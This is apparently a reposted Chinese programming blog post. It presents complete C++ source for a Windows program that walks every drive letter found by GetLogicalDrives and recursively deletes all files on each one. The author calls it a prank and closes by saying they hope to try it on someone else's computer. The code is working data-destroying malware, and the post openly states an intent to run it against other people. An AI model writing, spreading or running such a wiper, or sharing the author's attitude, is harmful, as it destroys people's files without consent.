欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

用Windows API遍历所有文件并删除

程序员文章站 2022-06-15 23:19:35
...

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了)...

下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);

 do
 {
  if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
  {
   continue;
  }

  if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
  {
   sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
   DelFile(cNewPath);//递归
  }
  
//  MessageBox(NULL,data.cFileName,"Look",0);
  sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
  DeleteFile(cFullPath);
  
 }while(FindNextFile(hFind,&data));
 

}

int WINAPI WinMain(
  HINSTANCE hInstance,      // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,          // command line
  int nCmdShow              // show state
)
{

 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
  if(bit.test(ix))
  {
   Path[0]='A'+ix;
   DelFile(Path);
  }
 }
 return 0;
}


最后用了GetLogicalDrives这个API函数来判断本机有多少个分区,然后用sprintf格式化一下作为DelFile的参数.

等有机会拿到别人电脑上试试吧....

 

转载于:https://www.cnblogs.com/whongfei/archive/2012/08/21/5247037.html